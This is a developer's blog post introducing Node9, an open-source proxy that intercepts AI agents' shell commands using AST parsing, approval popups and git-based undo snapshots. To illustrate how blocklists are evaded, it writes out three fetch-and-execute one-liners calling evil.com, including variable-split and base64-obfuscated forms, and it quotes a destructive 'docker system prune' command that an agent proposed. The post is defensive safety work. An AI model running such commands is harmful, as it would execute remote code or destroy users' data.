Letting an autonomous AI agent run wild in your terminal is the ultimate productivity hack until it isn't.
A few weeks ago, I was using Claude Code to clean up an old project. I casually prompted: "Hey, my disk is full, can you help me clean up some space?"
Within seconds, the agent proposed:
docker system prune -af --volumes
If I hadn't been staring at the screen, years of local development databases, cached images, and stopped containers would have vanished. The AI wasn't malicious; it was just being efficiently literal.
That near miss made me realize something: Semantic Security scanning prompts for intent is broken for agentic AI. We are giving hallucination-prone models rwx root access to our local environments without a seatbelt.
I built Node9 to solve this. It's an open-source execution proxy that sits between any AI agent and your shell. In this post, I'll dive into two architectural decisions that were harder than they look: the AST-based parser that defeats obfuscation, and the Git internals trick I used to build a completely invisible "Undo" button for the terminal.
The Problem: AI is More Creative Than Your Regex
The first instinct when securing an agent is a blocklist. If the agent types rm -rf or DROP TABLE, block it. It seems reasonable until you realize that AI models are exceptionally good at rephrasing.
Consider three ways an AI can bypass a regex that looks for curl | bash:
# 1. Alternative tool, same outcome
wget -qO- https://evil.com/script.sh | sh
# 2. Variable injection
c="cu"; r="rl"; $c$r http://evil.com | zsh
# 3. Base64 encoding
echo "Y3VybCBodHRwOi8vZXZpbC5jb20vc2NyaXB0LnNoIHwgYmFzaA==" | base64 -d | bash
A skeptical reader might ask: "If the Base64 payload is encoded, how does a parser read it?" The answer is that Node9 doesn't need to decode it. While the AST parser won't see the hidden string inside the encoded payload, it clearly identifies that a base64-decoded stream is being piped directly into a shell interpreter (| bash). Node9's policy engine flags this pattern "unvalidated stream execution" and blocks it before the string is ever decoded.
A regex engine looks at strings. An operating system executes a grammar. To stop this, Node9 uses AST (Abstract Syntax Tree) parsing to understand the command the same way the shell does.
Solution 1: AST Parsing for Shell Execution
Instead of looking for forbidden words, Node9 intercepts the tool call and decomposes the shell command into its logical execution tree using sh-syntax. Even if the AI hides the command inside a variable, a subshell, or a pipe chain, the AST resolves the actual execution path.
Here is the real analyzeShellCommand function from src/core.ts:
interface AstNode {
type: string;
Args?: { Parts?: { Value?: string }[] }[];
[key: string]: unknown;
}
async function analyzeShellCommand(
command: string
): Promise<{ actions: string[]; paths: string[]; allTokens: string[] }> {
const actions: string[] = [];
const paths: string[] = [];
const allTokens: string[] = [];
const ast = await parse(command); // sh-syntax parses the full shell grammar
const walk = (node: AstNode | null) => {
if (!node) return;
if (node.type === 'CallExpr') {
// Reconstruct the actual token by joining all Parts
// This resolves variable expansions and quoted strings
const parts = (node.Args || [])
.map((arg) => (arg.Parts || []).map((p) => p.Value || '').join(''))
.filter((s) => s.length > 0);
if (parts.length > 0) {
actions.push(parts[0].toLowerCase()); // The executable: curl, rm, wget...
parts.slice(1).forEach((p) => {
if (!p.startsWith('-')) paths.push(p); // Target files/URLs
});
}
}
// Recursively walk all child nodes — catches nested pipes, subshells, redirects
for (const key in node) {
if (key === 'Parent') continue;
const val = node[key];
if (Array.isArray(val)) {
val.forEach((child) => {
if (child && typeof child === 'object' && 'type' in child) walk(child as AstNode);
});
} else if (val && typeof val === 'object' && 'type' in val) {
walk(val as AstNode);
}
}
};
walk(ast as unknown as AstNode);
return { actions, paths, allTokens };
}
By the time Node9 finishes walking the tree, it doesn't matter how the AI wrote the command. It extracts the Action (the executable) and the Target (the paths or URLs), then evaluates them against a deterministic policy waterfall, regardless of obfuscation.
If the AST parser fails on a malformed command, Node9 falls back to a conservative tokenizer that splits on pipes, semicolons, and subshell operators. You never get a silent pass-through.
The 100ms Race for a Human Signature
The biggest usability problem for any approval system is Verification Fatigue. If the agent asks for permission on every ls and grep, developers stop reading and start spamming Y. When that happens, security is theater.
Node9 solves this with two mechanisms:
1. Auto-allow safe noise. Read-only tool calls (ls, grep, cat, Read, Glob) are allowed instantly with zero interruption. No popup, no prompt.
2. Multi-Channel Race Engine for destructive calls. When a genuinely dangerous action is detected, Node9 fires three concurrent approval requests:
- Native OS popup a sub-second dialog (Mac, Windows, Linux) for instant keyboard approval when you're at your desk
- Slack the request hits your phone if you've stepped away
-
Terminal a traditional
[Y/n]prompt for SSH sessions
The first human response wins and unlocks execution. The others are cancelled.
This allows you to walk away from a 20-step autonomous refactor, get coffee, and only be interrupted when something genuinely risky needs your signature.
Solution 2: The Invisible Undo Engine
Sometimes you want the AI to edit files. A refactor across 12 files is exactly where agents are useful. But what if it scrambles your logic?
I wanted a node9 undo command that works like Ctrl+Z for the entire terminal session — one command that snaps everything back to the moment before the AI acted.
The challenge: how do you snapshot a Git repo without polluting the user's branch history or staging area?
A naive git commit -am "AI backup" would ruin the user's git log. A git stash would interfere with their in-progress work. Neither is acceptable.
The answer is Dangling Commits. By creating what Git technically calls "dangling commits" commits not reachable by any branch or tag, we can leverage the full power of the Git object database without polluting the user's development history. They exist inside .git/objects, are completely invisible to git log, git status, and git diff, but are fully addressable by their hash.
Here is the exact createShadowSnapshot function from src/undo.ts:
export async function createShadowSnapshot(
tool = 'unknown',
args: unknown = {}
): Promise<string | null> {
const cwd = process.cwd();
// Only run in a git repo
if (!fs.existsSync(path.join(cwd, '.git'))) return null;
// 1. Create a temporary, isolated index — completely separate from the
// user's staging area. We never touch GIT_INDEX_FILE permanently.
const tempIndex = path.join(cwd, '.git', `node9_index_${Date.now()}`);
const env = { ...process.env, GIT_INDEX_FILE: tempIndex };
// 2. Stage all files into the temporary index
spawnSync('git', ['add', '-A'], { env });
// 3. Write a Tree object directly to the Git object database
const treeRes = spawnSync('git', ['write-tree'], { env });
const treeHash = treeRes.stdout.toString().trim();
// Clean up the temp index immediately — it was only needed for write-tree
if (fs.existsSync(tempIndex)) fs.unlinkSync(tempIndex);
if (!treeHash || treeRes.status !== 0) return null;
// 4. Create a Dangling Commit — no branch points to it, so git log never shows it
const commitRes = spawnSync('git', [
'commit-tree',
treeHash,
'-m',
`Node9 AI Snapshot: ${new Date().toISOString()}`,
]);
const commitHash = commitRes.stdout.toString().trim();
// 5. Push the hash onto Node9's own snapshot stack (~/.node9/snapshots.json)
const stack = readStack();
stack.push({ hash: commitHash, tool, argsSummary: buildArgsSummary(tool, args), cwd, timestamp: Date.now() });
if (stack.length > MAX_SNAPSHOTS) stack.splice(0, stack.length - MAX_SNAPSHOTS);
writeStack(stack);
return commitHash;
}
Why dangling commits are the right primitive
-
Invisible: The user's
git log,git status, andgit diffare completely untouched. - Instantaneous: Writing a tree object takes milliseconds regardless of repo size.
-
Recoverable: The hash is saved to
~/.node9/snapshots.json. Node9 keeps a stack of the last 10 snapshots — one per AI file-writing action. -
No staging area pollution: The temporary
GIT_INDEX_FILEis created and deleted in the same operation. The user's staged changes are never touched.
When you run node9 undo, it computes a diff between the dangling commit and your current working tree, shows you a unified diff of exactly what the AI changed, and upon confirmation uses git restore --source <hash> --staged --worktree . to revert everything to the exact millisecond before the AI acted. Nothing is reverted until you confirm.
This happens automatically. You don't opt in. Every time Node9 allows an agent to run a file-writing tool (write_file, str_replace_based_edit, Edit, etc.), a snapshot is taken silently in the background.
MCP Servers Are Covered Too
Node9 works with Claude Code, Gemini CLI, Cursor, and any agent that supports tool hooks. But it also secures MCP servers (Model Context Protocol) the new standard Anthropic is pushing for connecting AI to external tools like Postgres, GitHub, and Google Drive.
When you configure a Postgres MCP server, the BeforeTool hook with matcher: ".*" intercepts every tool call — including SQL queries sent through the MCP server — before they execute. Node9 has specific SQL analysis built in:
export function checkDangerousSql(sql: string): string | null {
const norm = sql.replace(/\s+/g, ' ').trim().toLowerCase();
const hasWhere = /\bwhere\b/.test(norm);
if (/^delete\s+from\s+\S+/.test(norm) && !hasWhere)
return 'DELETE without WHERE — full table wipe';
if (/^update\s+\S+\s+set\s+/.test(norm) && !hasWhere)
return 'UPDATE without WHERE — updates every row';
return null;
}
A DELETE FROM users with no WHERE clause triggers a review popup. A DELETE FROM users WHERE id = 42 passes through. Same principle as the shell parser: policy based on structure, not string matching.
Governed Autonomy, Not a Cage
Building Node9 taught me that the future of local AI tooling isn't about locking agents in isolated VMs where they become useless. It's about Governed Autonomy: you provide the strategy and the final "Yes," the AI provides the speed.
When Node9 blocks an action, it doesn't just crash the agent. It injects a structured message back into the LLM's context:
"SECURITY ALERT: Action blocked by user policy. Reason: Force push is destructive. Pivot to a non-destructive alternative."
The agent reads this, adjusts, and tries a safer approach. The session continues. That's the difference between a firewall and a Sudo layer.
Node9 is 100% open source (Apache-2.0). I'm actively looking for developers to red-team the AST parser. What's the most dangerous command you've seen an agent attempt and can you construct a shell command that bypasses the inspection logic?
npm install -g @node9/proxy
node9 setup
GitHub: [https://github.com/node9-ai/node9-proxy]